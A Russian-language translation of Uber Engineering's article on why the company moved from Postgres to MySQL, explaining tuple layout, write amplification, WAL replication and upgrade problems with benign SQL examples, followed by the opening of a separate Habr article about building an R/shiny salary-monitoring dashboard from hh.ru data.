На ранней стадии развития архитектура Uber состояла из монолитного серверного приложения на Python, которое использовало [Postgres](http://www.postgresql.org/) для хранения данных. С тех пор многое изменилось: была применена модель [микросервисов](https://eng.uber.com/soa/), а также новые платформы обработки и хранения данных. В частности, раньше во многих случаях мы использовали Postgres, а теперь перешли на [Schemaless](https://eng.uber.com/schemaless-part-one/) — новую распределенную систему хранения данных, работающую поверх MySQL. В этой статье мы поговорим о некоторых недостатках Postgres и объясним, почему мы решили построить Schemaless и другие сервисы на базе MySQL.
Архитектура Postgres
--------------------
Мы столкнулись с несколькими недостатками Postgres, среди которых:
* неэффективность архитектуры в плане выполнения записи,
* неэффективная репликация данных,
* случаи повреждения таблиц,
* проблемы с MVCC на репликах,
* трудности с обновлением.
Мы рассмотрим эти ограничения, проанализировав то, как Postgres размещает данные таблиц и индексов на диске, особенно в сравнении с подходом MySQL, реализуемым с помощью [подсистемы хранения данных InnoDB](http://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html). Обратите внимание: представленный здесь анализ по большей части основан на нашем опыте работы с достаточно старой версией Postgres 9.2. Но, насколько мы знаем, внутренняя архитектура, которую мы обсуждаем в этой статье, в новых релизах Postgres серьезно не изменилась. Более того, базовые принципы представления данных на диске, которые используются в версии 9.2, значительно не изменились как минимум с Postgres 8.3 (то есть им практически 10 лет).
### Формат представления данных на диске
Реляционная СУБД должна обеспечивать выполнение нескольких ключевых задач:
* выполнение операций insert/update/delete;
* внесение изменений в схему данных;
* реализацию механизма [управления параллельным доступом с помощью многоверсионности](https://en.wikipedia.org/wiki/Multiversion_concurrency_control) (multiversion concurrency control, MVCC), который позволяет разным соединениям с базой использовать транзакции при работе с данными.
Взаимодействие вышеперечисленных механизмов в значительной степени определяет то, как СУБД будет хранить данные на диске.
Одним из ключевых аспектов дизайна Postgres являются неизменяемые строки. На языке Postgres они называются кортежами (tuples). У кортежей есть уникальные идентификаторы — [ctid](http://www.postgresql.org/docs/9.5/static/ddl-system-columns.html), которые по сути представляют определенное место на диске (т. е. смещение на физическом носителе). Несколько ctid потенциально могут описывать одну строку (например, в случае существования нескольких версий строки в рамках MVCC или когда место, занимаемое старыми версиями строки, еще не было освобождено с помощью [autovacuum](http://www.postgresql.org/docs/9.2/static/routine-vacuuming.html#AUTOVACUUM)). Организованная коллекция кортежей образует таблицу. У таблиц есть индексы, имеющие определенную структуру данных (обычно это B-деревья), с помощью которой поля индекса сопоставляются с данными, идентифицируемыми ctid.
Пользователь обычно не сталкивается со ctid, однако понимание этих идентификаторов позволит лучше разобраться с тем, как Postgres хранит данные на диске. Чтобы получить ctid строки, нужно добавить в запрос колонку “ctid”:
```
uber@[local] uber=> SELECT ctid, * FROM my_table LIMIT 1;
-[ RECORD 1 ]--------+------------------------------
ctid | (0,1)
...здесь выводятся другие поля...
```
Давайте в качестве примера рассмотрим простую таблицу пользователей. В каждой строке есть автоматически увеличивающийся первичный ключ id, имя, фамилия и год рождения. Мы также создадим вторичный составной индекс по полному имени (имени и фамилии) и еще один вторичный индекс по году рождения. [DDL](https://en.wikipedia.org/wiki/Data_definition_language)-инструкции по созданию такой таблицы могут выглядеть следующим образом:
```
CREATE TABLE users (
id SERIAL,
first TEXT,
last TEXT,
birth_year INTEGER,
PRIMARY KEY (id)
);
CREATE INDEX ix_users_first_last ON users (first, last);
CREATE INDEX ix_users_birth_year ON users (birth_year);
```
Обратите внимание: эти инструкции создают три индекса: индекс для первичного ключа и два вторичных индекса.
Заполним таблицу данными известных математиков:
| | | | |
| --- | --- | --- | --- |
| **id** | **first** | **last** | **birth\_year** |
| 1 | Blaise | Pascal | 1623 |
| 2 | Gottfried | Leibniz | 1646 |
| 3 | Emmy | Noether | 1882 |
| 4 | Muhammad | al-Khwārizmī | 780 |
| 5 | Alan | Turing | 1912 |
| 6 | Srinivasa | Ramanujan | 1887 |
| 7 | Ada | Lovelace | 1815 |
| 8 | Henri | Poincaré | 1854 |
Как было упомянуто ранее, каждая строка содержит уникальный, не отображающийся по умолчанию ctid. Внутреннее представление таблицы может выглядеть следующим образом:
| | | | | |
| --- | --- | --- | --- | --- |
| **ctid** | **id** | **first** | **last** | **birth\_year** |
| A | 1 | Blaise | Pascal | 1623 |
| B | 2 | Gottfried | Leibniz | 1646 |
| C | 3 | Emmy | Noether | 1882 |
| D | 4 | Muhammad | al-Khwārizmī | 780 |
| E | 5 | Alan | Turing | 1912 |
| F | 6 | Srinivasa | Ramanujan | 1887 |
| G | 7 | Ada | Lovelace | 1815 |
| H | 8 | Henri | Poincaré | 1854 |
Индекс по первичному ключу, с помощью которого сопоставляются идентификаторы id и ctid, определен так:
| | |
| --- | --- |
| **id** | **ctid** |
| 1 | A |
| 2 | B |
| 3 | C |
| 4 | D |
| 5 | E |
| 6 | F |
| 7 | G |
| 8 | H |
B-дерево (B-tree) построено на основе поля id, и каждый его узел содержит значение ctid. Обратите внимание: в данном случае очередность записей индекса совпадает с очередностью записей в таблице. Это обусловлено автоинкрементом поля id, но так бывает не всегда.
Вторичные индексы выглядят похожим образом. Основное отличие в том, что записи хранятся в другом порядке, поскольку B-дерево должно быть организовано лексикографически. Индекс *(first, last)* начинается с имен, расположенных в алфавитном порядке:
| | | |
| --- | --- | --- |
| **first** | **last** | **ctid** |
| Ada | Lovelace | G |
| Alan | Turing | E |
| Blaise | Pascal | A |
| Emmy | Noether | C |
| Gottfried | Leibniz | B |
| Henri | Poincaré | H |
| Muhammad | al-Khwārizmī | D |
| Srinivasa | Ramanujan | F |
Индекс *birth\_year* кластеризован по возрастанию:
| | |
| --- | --- |
| **birth\_year** | **ctid** |
| 780 | D |
| 1623 | A |
| 1646 | B |
| 1815 | G |
| 1854 | H |
| 1887 | F |
| 1882 | C |
| 1912 | E |
В отличие от первичного индекса по id, в обоих вторичных индексах значения поля ctid лексикографически не возрастают.
Предположим, что надо обновить одну из записей таблицы. Изменим год рождения al-Khwārizmī’s на 770. Как мы упоминали ранее, строковые кортежи неизменяемы. Таким образом, чтобы обновить запись, нужно добавить новый кортеж к таблице. У него будет новый ctid, назовем его I. Postgres должен уметь отличать новый активный кортеж I от старой версии D. Для этого в каждом кортеже есть поле с номером версии и указатель на предыдущий кортеж (если такой есть). Соответственно, обновленная таблица выглядит следующим образом:
Поскольку у нас теперь есть две строки с al-Khwārizmī, индексы должны содержать записи для каждой из них. Для краткости мы опустим индекс по первичному ключу и покажем только вторичные индексы:
---
Старая версия выделена красным цветом, а новая — зеленым. Под капотом Postgres есть еще одно поле, в котором хранится версия кортежа. Это поле позволяет СУБД показывать транзакциям только те строки, которые им положено видеть.
*В Postgres первичный и вторичный индексы прямо указывают на физические смещения кортежей на диске. При изменении расположения строки индексы необходимо обновить.*
Репликация
----------
Если в Postgres настроена потоковая репликация, то, например, при вставке в таблицу новой строки такое изменение нужно реплицировать. Для целей восстановления после сбоев в СУБД встроен [журнал упреждающей записи (write-ahead log, WAL)](https://en.wikipedia.org/wiki/Write-ahead_logging), который используется для выполнения [двухфазной фиксации (two-phase commit)](https://en.wikipedia.org/wiki/Two-phase_commit_protocol). СУБД должна вести WAL даже при отключенной потоковой репликации, поскольку WAL также нужен для соответствия принципам атомарности (atomicity) и надежности (durability) требований [ACID](https://en.wikipedia.org/wiki/ACID).
Чтобы лучше понять WAL, рассмотрим случай незапланированного завершения работы СУБД, который может произойти, например, при отключении питания. В WAL заносятся все изменения, которые СУБД планирует сделать в содержимом таблиц и индексов на диске. Демон Postgres после запуска сравнивает WAL с данными на диске. В том случае если в WAL есть что-то, еще не записанное на диск, СУБД вносит изменения, приводя в соответствие данные на диске и содержимое журнала упреждающей записи. Затем СУБД откатывает те инструкции в WAL, которые относятся к незафиксированным транзакциям.
Потоковая репликация в Postgres реализована путем пересылки WAL с мастера на реплики, которые фактически работают в режиме восстановления после сбоя, постоянно применяя обновления WAL точно так же, как это бы делалось в случае запуска системы после некорректного завершения работы. Единственным отличием потоковой репликации от восстановления после сбоя является то, что реплики работают в режиме горячего резерва (hot standby), обслуживая запросы на чтение параллельно с применением потоковых изменений, тогда как база данных Postgres, находящаяся в режиме восстановления, обычно отказывается обслуживать какие-либо запросы до тех пор, пока процесс восстановления не будет закончен.
Поскольку WAL был разработан для целей восстановления, в него записывается низкоуровневая информация об обновлении данных на диске. Содержимое WAL находится на уровне фактического представления данных кортежей на диске, включая их физические смещения (т. е. значения ctid). Если приостановить мастер и полностью синхронизированную с ним реплику, фактическое расположение данных на дисках обеих систем будет идентичным буквальной байт в байт. Таким образом, инструменты типа [rsync](https://en.wikipedia.org/wiki/Rsync) могут использоваться для восстановления данных реплики, если она сильно отстала от мастера.
К чему приводят особенности дизайна Postgres
--------------------------------------------
Особенности Postgres привели к трудностям и снижению эффективности работы с [данными в Uber](https://eng.uber.com/category/uberdata/).
### Усиление записи
Первая проблема дизайна Postgres связана с [усилением записи](https://en.wikipedia.org/wiki/Write_amplification). Обычно этот термин упоминается в связи с особенностями работы SSD-дисков: логически небольшое обновление (скажем, запись нескольких байт) становится гораздо более серьезной и ресурсоемкой операцией на физическом уровне. Похожая проблема есть и в Postgres. В нашем предыдущем примере, когда мы сделали логически небольшое обновление, изменив год рождения al-Khwārizmī, физически система должна была выполнить как минимум четыре операции:
1) записать новый кортеж в [табличное пространство](https://en.wikipedia.org/wiki/Tablespace),
2) обновить индекс по первичному ключу, добавив запись для нового кортежа,
3) обновить индекс (first, last), добавив запись для нового кортежа,
4) обновить индекс birth\_year, добавив запись для нового кортежа
На самом деле эти четыре пункта отражают лишь изменения, сделанные в основном табличном пространстве (main tablespace), но они также должны быть учтены в WAL, поэтому общее число операций записи еще больше.
Стоит отдельно упомянуть пункты 2 и 3. После того как мы обновили год рождения al-Khwārizmī, не изменились ни первичный ключ записи, ни значения имени и фамилии. И все же индексы приходится обновлять, поскольку в базе данных появился новый кортеж. Для таблиц с большим количеством вторичных индексов эти дополнительные шаги могут приводить к значительным накладным расходам на запись. Например, для таблицы с десятком индексов обновление поля, покрытого лишь одним индексом, должно быть распространено на остальные девять, поскольку необходимо прописать в них ctid новой строки.
### Репликация
Проблема с усилением записи затрагивает и репликацию, которая выполняется на уровне представления данных на диске. Вместо передачи небольшой логической записи, такой как, например, «Изменить год рождения для ctid D, установив его в 770», СУБД должна переслать все элементы WAL, касающиеся четырех вышеупомянутых операций, сопровождающих запись. Таким образом, проблема усиления записи переходит в проблему усиления репликации, и поток репликационных данных Postgres очень быстро становится настолько значительным, что может занять больш**у**ю часть доступной пропускной способности сети.
В тех случаях, когда репликация выполняется в пределах одного датацентра, проблем с пропускной способностью, вероятнее всего, не возникнет. Современное сетевое оборудование способно справится с большими объемами данных, а многие хостинг-провайдеры взимают незначительную плату за передачу данных внутри датацентра либо предоставляют эту услугу бесплатно. Однако, когда требуется настроить репликацию между машинами в разных датацентрах, проблемы могут начать расти как снежный ком. Например, в Uber сначала использовались физические серверы в колокейшн-центре на Западном побережье. На случай аварийного восстановления мы разместили несколько реплик на дополнительных серверах на Восточном побережье.
За счет использования [каскадной репликации](http://www.postgresql.org/docs/9.2/static/warm-standby.html) нам удалось уменьшить объем пересылаемых между датацентрами данных до значений, необходимых для репликации между одним мастером и одной репликой. Однако «многословность» Postgres-репликации все равно может привести к необходимости передачи слишком больших объемов, если используется много индексов. Покупка высокоскоростных каналов передачи данных, соединяющих разные концы страны, — дорогое удовольствие. Но даже когда деньги не проблема, получить скорости, сравнимые с локальными сетевыми соединениями датацентов, просто невозможно. Эта проблема с пропускной способностью также создает трудности при архивации WAL. В дополнение к пересылке обновлений WAL с Западного на Восточное побережье мы архивировали его в веб-хранилище файлов. Эти архивы могли быть использованы как в случае необходимости аварийного восстановления, так и для развертывания новых реплик. Во время пиковых нагрузок пропускной способности сетевого соединения с хранилищем файлов было просто недостаточно, чтобы успевать передавать обновления WAL, создаваемые в процессе работы с базой данных.
### Повреждение данных
Во время стандартной операции по увеличению емкости базы данных, при которой использовался механизм повышения роли реплики, мы столкнулись с ошибкой в Postgres 9.2. Реплики некорректно обрабатывали переключение шкалы времени (timeline switch), в результате чего некоторые из них неверно применяли обновления WAL. Из-за этой ошибки некоторые записи, которые должны были быть деактивированы механизмом версионирования, не получили соответствующую пометку, то есть остались активны.
С помощью следующего запроса можно проиллюстрировать, как эта ошибка отразится на нашем примере с таблицей пользователей:
```
SELECT * FROM users WHERE id = 4;
```
Запрос вернет две записи: исходную строку для al-Khwārizmī с годом рождения, равным 780, а также новую запись с birth\_year = 770. Если мы добавим в запрос колонку ctid, то получим отличающиеся значения этих идентификаторов, как у двух разных строк.
Эта проблема оказалась для нас крайне неприятной по нескольким причинам. Во-первых: было невозможно точно сказать, сколько строк было затронуто. В некоторых случаях дубликаты приводили к сбоям в работе приложения. В итоге нам пришлось добавить в код приложения инструкции для обнаружения подобных ситуаций. Во-вторых: поскольку ошибка проявлялась на всех серверах, каждый из них портил разные строки, то есть на одной реплике строка X могла быть повреждена, а Y нетронута, но на другой реплике строка X могла быть в порядке, а Y — повреждена. На самом деле мы точно не знали, на скольких репликах были поврежденные данные, а также проявлялась ли эта проблема на мастере.
Насколько мы поняли, на всю базу обычно повреждалось лишь несколько строк, но все же мы были крайне обеспокоены, поскольку индексы могли оказаться полностью испорченными из-за того, что репликация осуществляется на физическом уровне. Существенной особенностью B-деревьев является необходимость их периодической [перебалансировки](https://en.wikipedia.org/wiki/B-tree#Rebalancing_after_deletion), и эта операция может полностью изменить структуру дерева, поскольку поддеревья перемещаются в другие места на диске. При перемещении поврежденных данных значительные части дерева могут оказаться некорректными.
В итоге мы смогли найти ошибку и, проанализировав ее, выяснить, что на реплике, которая становилась новым мастером, строки не повреждались. Путем повторной синхронизации со свежим снимком мастера мы исправили данные на всех репликах. Это был весьма трудоемкий процесс, поскольку в то время мы могли позволить себе одновременно изъять из рабочего пула балансировки нагрузки лишь несколько реплик.
Найденная ошибка проявлялась в некоторых релизах Postgres 9.2 и теперь уже давно исправлена. Однако мы очень обеспокоены тем фактом, что такое вообще оказалось возможно. В любое время можно ожидать выхода новой версии Postgres с подобной ошибкой, и из-за особенностей механизма репликации проблема может распространиться на все базы данных в репликационной иерархии.
### MVCC на репликах
Postgres фактически не поддерживает MVCC на репликах. Поскольку на репликах применяются обновления WAL, на них в любой момент времени [находится копия базы с таким же, как и на мастере, представлением данных на диске](http://blog.2ndquadrant.com/tradeoffs_in_hot_standby_deplo/). Для Uber это серьезная проблема.
Чтобы обеспечить работу механизма MVCC, СУБД необходимо хранить старые версии строк. Если на реплике, использующей потоковую репликацию, открыта транзакция, то обновления захваченных ею строк будут заблокированы. В такой ситуации Postgres приостанавливает применение изменений WAL до тех пор, пока транзакция не будет завершена. Если транзакция выполняется длительное время, это становится проблемой, поскольку происходит значительное отставание реплики от мастера. На этот случай в Postgres есть специальный таймаут: если транзакция блокирует применение WAL в течение [определенного времени](https://www.postgresql.org/docs/9.2/static/hot-standby.html#HOT-STANDBY-CONFLICT), Postgres ее прерывает.
Такая особенность Postgres приводит к тому, что отставание реплик от мастера на секунды начинает происходить регулярно. Также становится проще написать такой код, который будет приводить к прерыванию работы транзакций. Эта проблема может быть неочевидной для разработчиков приложений, пишущих код, в котором начало и конец транзакции не указываются в явном виде. Скажем, разработчик создает модуль, отправляющий пользователю чек по электронной почте. Такая программа может неявно начать транзакцию и не фиксировать ее до тех пор, пока письмо не будет отправлено. Безусловно, не нужно писать код, который держит открытыми транзакции во время выполнения несвязанного блокирующего ввода-вывода, но реальность такова, что многие программисты не являются экспертами по базам данных и не всегда понимают суть проблемы, особенно при использовании ORM, которая скрывает низкоуровневые детали, в том числе и связанные с транзакциями.
### Обновление Postgres
Поскольку репликация работает на физическом уровне, оказывается невозможным реплицировать данные между серверами, имеющими разные версии Postgres. Мастер с Postgres 9.3 не сможет реплицировать данные на реплику под управлением Postgres 9.2; точно так же не будет работать и репликация с 9.2-мастера на 9.3-реплику.
Чтобы обновиться с одного релиза на другой, необходимо проделать [указанные действия](https://www.postgresql.org/docs/current/static/pgupgrade.html):
* Остановить мастер.
* На мастере для обновления данных запустить pg\_upgrade. На больших базах данных это может занять несколько часов, в течение которых мастер не будет обслуживать запросы.
* Запустить мастер.
* Сделать снимок мастера. На этом шаге копируются все данные мастера, что для больших баз может снова занять несколько часов.
* Очистить реплики и восстановить на них новый снимок мастера.
* Вернуть все реплики в репликационную иерархию. Дождаться, пока реплики догонят мастера, применив все обновления, которые произошли на нем за время восстановления реплик.
Мы начали с Postgres 9.1 и успешно выполнили все шаги для обновления на 9.2. Этот процесс занял много часов, и мы бы не смогли себе позволить выполнить его еще раз. К тому времени, когда вышел Postgres 9.3, объем наших данных значительно увеличился, так что обновление заняло бы еще больше времени. Поэтому оставшиеся в строю экземпляры Postgres до сих пор используют версию 9.2, несмотря на то, что уже вышел релиз 9.5.
При использовании Postgres версии 9.4 или более поздней есть возможность применить инструмент типа [pglogical](http://2ndquadrant.com/en/resources/pglogical/), который реализует логическую репликацию в Postgres. С помощью pglogical можно реплицировать данные между разными версиями Postgres, что делает возможным обновление, например, с 9.4 на 9.5 с минимальным временем простоя. Но эта функциональность не включена в основу Postgres, поэтому ее нужно применять с осторожностью. А для тех, кто до сих пор работает на более старых релизах Postgres, pglogical вообще не вариант.
Архитектура MySQL
-----------------
В дополнение к описанию ограничений Postgres мы хотели бы объяснить, почему MySQL стал важным для Uber Engineering инструментом в таких проектах, как, например, Schemaless. Во многих случаях оказывалось, что MySQL подходит нам лучше всего. В этом разделе мы проанализировали архитектуру MySQL и ее отличия от Postgres. Особое внимание было уделено работе [InnoDB](http://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html), которая, возможно, является самой популярной подсистемой хранения данных для MySQL.
### InnoDB — представление данных на диске
Как и Postgres, InnoDB поддерживает MVCC и другие продвинутые функции. Исчерпывающее описание формата представления данных на диске, реализуемого InnoDB, выходит за рамки данной статьи. Вместо этого мы сконцентрируемся на отличиях от Postgres.
Наиболее важное архитектурное отличие заключается в том, что Postgres напрямую сопоставляет записи индекса с адресами на диске, а в InnoDB есть дополнительная структура, в рамках которой записи индекса содержат не указатель на место на диске (как ctid в Postgres), а указатель на значение первичного ключа. Таким образом, ключи вторичных индексов в MySQL ассоциированы со значениями первичного ключа:
| | | |
| --- | --- | --- |
| **first** | **last** | **id (primary key)** |
| Ada | Lovelace | 7 |
| Alan | Turing | 5 |
| Blaise | Pascal | 1 |
| Emmy | Noether | 3 |
| Gottfried | Leibniz | 2 |
| Henri | Poincaré | 8 |
| Muhammad | al-Khwārizmī | 4 |
| Srinivasa | Ramanujan | 6 |
Чтобы выполнить поиск по индексу (first, last), необходимо выполнить два действия: найти первичный ключ записи в таблице, а затем в индексе по первичному ключу отыскать расположение строки на диске.
Такое конструктивное решение ставит InnoDB в менее выгодное положение по сравнению с Postgres, поскольку предполагает выполнение дополнительной операции по поиску ключа. Однако, так как данные нормализованы, при обновлении строк затрагиваются только те индексы, которые построены по изменившимся полям. Также InnoDB обычно выполняет обновления строк прямо на месте. Если каким-либо транзакциям в рамках механизма MVCC необходима старая версия строки, MySQL копирует ее в специальную область под названием [сегмент отката (rollback segment)](https://dev.mysql.com/doc/refman/5.7/en/innodb-undo-logs.html).
Давайте посмотрим, что происходит при обновлении года рождения al-Khwārizmī. При наличии свободного места новое значение будет записано прямо в исходную строку с id=4 (на самом деле такое обновление в любом случае произойдет «на месте», так как в данном случае birth year — это целочисленная колонка, значение которой занимает фиксированное количество байт). Индекс по полю birth year также обновляется «на месте», а старая версия строки копируется в сегмент отката. Индекс по первичному ключу обновлять не нужно (как и индекс (first, last)). Даже если у таблицы много индексов, нам нужно обновить только те из них, которые построены по полю birth\_year. Поэтому, если, скажем, у нас были бы индексы по полям signup\_date, last\_login\_time и т. д., они бы остались нетронутыми, тогда как в Postgres их пришлось бы обновить.
Такой дизайн также делает более эффективными процедуры очистки (vacuum) и уплотнения (compaction). Например, все строки, которые надо очистить, можно найти в сегменте отката. Для сравнения: в Postgres для поиска удаленных строк autovacuum должен просканировать всю таблицу целиком.
*В MySQL используется дополнительный уровень абстракции: записи вторичных индексов ссылаются на первичный индекс, который, в свою очередь, содержит ссылки на расположение данных на диске. При изменении смещения строки обновляется только основной индекс.*
### Репликация
MySQL поддерживает несколько [различных режимов репликации](https://dev.mysql.com/doc/refman/5.7/en/replication-formats.html):
* При statement-based-репликации передаются логические SQL-выражения (в нашем примере будет в буквальном смысле слова реплицировано выражение:
`sql UPDATE users SET birth_year=770 WHERE id = 4`).
* При row-based-репликации пересылаются изменившиеся строки.
* При смешанной (mixed) репликации используются оба вышеперечисленных способа.
У каждого из этих режимов есть свои плюсы и минусы. Statement-based-репликация обычно самая компактная, но от реплик может потребоваться выполнение ресурсоемких операций для обновления небольших объемов данных. С другой стороны, row-based-репликация, которая похожа на репликацию с использованием WAL в Postgres, «многословнее», но приводит к более предсказуемому и эффективному обновлению данных на репликах.
В MySQL на дисковые смещения данных строк ссылается только основной индекс, что имеет важные последствия для репликации. Поток репликационных данных в этом случае должен содержать лишь информацию о логических обновлениях строк. Репликационные обновления имеют вид «Изменить timestamp строки X с T\_1 на T\_2». При этом реплики автоматически выполняют необходимые изменения индексов.
В Postgres поток репликационных данных, напротив, содержит физические изменения, такие как «Записать байты XYZ по смещению 8,382,491». Каждое физическое изменение данных должно быть включено в поток WAL. Небольшие логические изменения (такие как, например, обновление timestamp) приводят к существенным изменениям на диске: создается новый кортеж и обновляются все индексы. Таким образом, в поток WAL должно быть включено большое количество изменений. Это различие в архитектуре системы приводит к тому, что используемый для репликации бинарный лог MySQL гораздо компактнее потока WAL PostgreSQL.
Особенности репликации также оказывают существенное влияние на работу механизма MVCC на репликах. Поскольку MySQL реплицирует логические изменения, реплики могут использовать настоящую MVCC-семантику, в результате чего запросы на чтение данных не будут блокировать репликацию. Напротив, в Postgres поток репликационных данных содержит физические изменения на диске, поэтому реплики не могут применить обновления, конфликтующие с выполняющимися запросами на чтение, то есть по сути не могут реализовать MVCC.
Реализация репликации в MySQL устойчива к повреждениям данных в таблице, и катастрофический сбой маловероятен. Поскольку репликация делается на логическом уровне, такие операции, как перебалансировка [B-дерева](https://en.wikipedia.org/wiki/B-tree), никогда не приведут к повреждению индекса. Для MySQL типичны проблемы репликации, при которых SQL-инструкция может быть пропущена (или реже применена дважды). Это может привести к потере или порче данных, но не вызовет недоступности базы целиком.
Наконец, в MySQL очень просто реплицировать данные между базами, работающими под управлением разных релизов этой СУБД. MySQL увеличивает номер версии на единицу только в том случае, если меняется формат репликации, а для разных релизов в рамках одной версии это не характерно. Логическая репликация также позволяет добиться того, что изменения формата хранения данных на диске не влияют на формат репликации. Типовой способ перехода на новый релиз MySQL — постепенное обновление реплик, а затем, когда все они будут обновлены, повышение одной из них до мастера. Такая операция выполняется практически без простоя и облегчает поддержание MySQL в актуальном состоянии.
Другие преимущества архитектуры MySQL
-------------------------------------
До этого момента мы преимущественно рассматривали особенности архитектур Postgres и MySQL, связанные с хранением данных на диске. Но есть и другие важные аспекты дизайна MySQL которые помогают этой СУБД работать значительно лучше, чем Postgres.
### Пул буферов
В двух рассматриваемых СУБД кеширование устроено по-разному. Postgres выделяет некоторое количество памяти для внутренних кешей, но ее размер обычно намного меньше общего объема оперативной памяти машины. Для увеличения производительности Postgres позволяет ядру автоматически кешировать содержимое диска с помощью [страничного кеша (page cache)](https://en.wikipedia.org/wiki/Page_cache). Например, наши самые мощные реплики Postgres оснащены 768 Гб ОЗУ, но на [RSS-память](https://en.wikipedia.org/wiki/Resident_set_size), выделенную процессам Postgres, приходится только 25 Гб. Таким образом, более 700 Гб памяти остается страничному кешу Linux.
Проблема заключается в том, что доступ к данным с помощью страничного кеша является более ресурсоемким по сравнению с RSS. Для поиска данных на диске Postgres использует системные вызовы [lseek(2)](http://man7.org/linux/man-pages/man2/lseek.2.html) и [read(2)](http://man7.org/linux/man-pages/man2/read.2.html). Каждый из них подразумевает переключение контекста, что менее эффективно по сравнению с работой с основной памятью напрямую. На самом деле Postgres есть что оптимизировать даже в рамках используемой методики: эта СУБД не использует [pread(2)](http://man7.org/linux/man-pages/man2/pwrite.2.html), который объединяет операции поиска и чтения (seek + read) в один системный вызов.
При этом подсистема хранения InnoDB реализует собственный [LRU](https://ru.wikipedia.org/wiki/Алгоритмы_кэширования#Least_recently_used_.28.D0.92.D1.8B.D1.82.D0.B5.D1.81.D0.BD.D0.B5.D0.BD.D0.B8.D0.B5_.D0.B4.D0.B0.D0.B2.D0.BD.D0.BE_.D0.BD.D0.B5.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D1.83.D0.B5.D0.BC.D1.8B.D1.85.29) под названием [пул буферов (buffer pool)](https://dev.mysql.com/doc/refman/5.7/en/innodb-buffer-pool.html) InnoDB. Этот механизм похож на страничный кеш Linux, но он реализован в пространстве пользователя. Будучи гораздо более сложным по сравнению с решением от Postgres, пул буферов InnoDB имеет несколько преимуществ:
1. Появляется возможность написать собственный LRU. Например, можно реализовать механизм выявления способов обращения к кешу, негативно влияющих на его эффективность, а также принимать соответствующие меры по минимизации последствий.
2. Снижается количество переключений контекста. Доступ к данным с помощью пула буферов InnoDB не требует переключений контекста пользователь—ядро. В худшем случае мы сталкиваемся с [промахами TLB](https://ru.wikipedia.org/wiki/Буфер_ассоциативной_трансляции), которые, однако, относительно недороги и могут быть минимизированы с помощью [huge pages](https://www.kernel.org/doc/Documentation/vm/hugetlbpage.txt).
### Управление соединениями
В MySQL на каждое соединение создается отдельный поток (thread). Это приводит к сравнительно небольшим накладным расходам: на каждый поток уходит немного памяти в стеке, а также выделяется несколько буферов в куче. Нередко встречаются системы, в которых MySQL обслуживает до 10 000 параллельных соединений. Некоторые из наших серверов MySQL в настоящее время близки к этому значению.
В Postgres на каждое соединение создается отдельный процесс. По сравнению с использованием потоков это более ресурсоемкое решение. На создание нового процесса требуется больше памяти, нежели на порождение нового потока. Более того, [IPC](https://ru.wikipedia.org/wiki/Межпроцессное_взаимодействие) между процессами также является более ресурсоемким, чем между потоками. Postgres 9.2 использует примитивы [System V IPC](http://man7.org/linux/man-pages/man7/svipc.7.html) вместо легковесных [фьютексов (futexes)](http://man7.org/linux/man-pages/man2/futex.2.html), которые быстрее по той причине, что во многих случаях, когда за мьютекс нет соперничества, нет и необходимости переключать контекст.
Помимо вышеперечисленных проблем, похоже, в Postgres не лучшим образом реализовано управление большим количеством соединений. Даже в тех случаях, когда памяти было более чем достаточно, мы испытывали серьезные проблемы с масштабированием Postgres после достижения порога в несколько сотен соединений. [В документации (хотя мы не смогли найти этому точного объяснения)](https://wiki.postgresql.org/wiki/Number_Of_Database_Connections) настоятельно рекомендуется использовать внешний пул (connection pooler) для обслуживания большого количества соединений. Для этих целей мы достаточно успешно применяли [pgbouncer](https://pgbouncer.github.io/). Однако периодически проявлялась ошибка, которая приводила к открытию большего количества активных соединений (обычно в статусе “idle in transaction”), чем было нужно. В итоге это приводило к увеличению времени простоя.
Заключение
----------
Postgres хорошо послужил нам на ранних этапах развития Uber, но по мере роста компании мы столкнулись с серьезными проблемами масштабирования систем, основанных на этой СУБД. На текущий момент у нас в строю осталось несколько экземпляров Postgres, но основная масса баз данных работает под управлением MySQL (по большей части на уровне [Schemaless](https://eng.uber.com/schemaless-part-one/)), а в несколькоих особых случаях применяются NoSQL-базы, такие как Cassandra. В целом мы весьма довольны MySQL и в будущем планируем написать еще несколько статей об интересных и сложных случаях использования этой СУБД в Uber.
---
*Evan Klitzke является штатным [специалистом (инженером) по программному обеспечению](https://www.uber.com/careers/list/?city=all&country=all&keywords=software+engineer&subteam=all&team=engineering) в группе базовой инфраструктуры [Uber Engineering](https://people.uber.com/eng/). Он также с энтузиазмом занимается [базами данных](https://eng.uber.com/tag/database/), а к Uber присоединился в сентябре 2012.* | https://habr.com/ru/post/322624/ | null | ru | null |
# Автоматизация мониторинга зарплат с помощью R
Каждая уважающая себя контора регулярно проводит мониторинг заработных плат, чтобы ориентироваться в интересующем ее сегменте рынка труда. Однако несмотря на то, что задача нужная и важная, не все готовы за это платить сторонним сервисам.
В этом случае, чтобы избавить HR от необходимости регулярно перебирать вручную сотни вакансий и резюме, эффективнее один раз написать небольшое приложение, которое будет делать это самостоятельно, а на выходе предоставлять результат в виде красивого дашборда с таблицами, графиками, возможностью фильтрации и выгрузки данных. Например, такого:
Посмотреть вживую (и даже понажимать кнопки) можно [здесь](https://etherity.shinyapps.io/salmon/).
В этой статье я расскажу о том, как писала такое приложение, и с какими подводными камнями столкнулась по пути.
Постановка задачи
=================
Требуется написать приложение, которое будет собирать с hh.ru данные по вакансиям и резюме на определенные позиции (Back-end/Front-end/Full-stack developer, DevOps, QA, Project Manager, Systems Analyst, etc.) в Санкт-Петербурге и выдавать минимальное, среднее и максимальное значение зарплатных ожиданий и предложений для специалистов уровня junior, middle и senior для каждой из указанных профессий.
Обновлять данные предполагалось приблизительно раз в полгода, но не чаще, чем раз в месяц.
Первый прототип
===============
Написанный на чистом shiny, с красивой бутстраповской схемой, на первый взгляд он вышел очень даже ничего: простой, а главное — понятный. Главная страница приложения содержит самое необходимое: для каждой специальности доступно среднее значение зарплат и зарплатных ожиданий (уровень middle), также есть дата последнего обновления данных и кнопка Update. Табы в хедере — по количеству рассматриваемых специальностей — содержат таблицы с полными собранными данными и графики.
Если пользователь видит, что данные не обновлялись слишком давно, он жмет кнопку "Update" у соответствующей специальности. Приложение уходит ~~в бессознанку~~ думать минут на 5, сотрудник уходит пить кофе. По возвращении его ждут обновленные данные на главной странице и на соответствующей табе.
**Вопрос для самопроверки: что не так с этим прототипом?**Как минимум, то, что для обновления данных по всем девяти специальностям пользователю нужно **нажать кнопку Update у каждой плитки** — и так девять раз.
